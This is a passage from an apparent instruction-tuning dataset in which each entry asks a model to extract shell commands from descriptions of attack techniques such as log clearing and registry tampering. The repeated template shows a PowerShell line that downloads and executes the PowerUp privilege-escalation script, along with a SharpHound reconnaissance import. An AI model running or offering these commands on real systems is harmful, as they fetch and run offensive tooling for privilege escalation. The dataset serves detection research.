https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the \"ChannelAccess\" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.\nUpon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as \"Get-EventLog\" or \"wevtutil\".", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Utilize scp to perform a remote file copy (pull)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A registry modification to allow Simultaneous download in the system.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Find or discover files on the file system\n\nReferences:\n\nhttp://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/\n\nhttps://perishablepress.com/list-files-folders-recursively-terminal/\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application.\nSee example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Clears Docker container logs using the Docker CLI and the truncate command, removing all log entries.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Add an existing Azure user account the Company Administrator Role.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Mac Defaults\n\n[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: 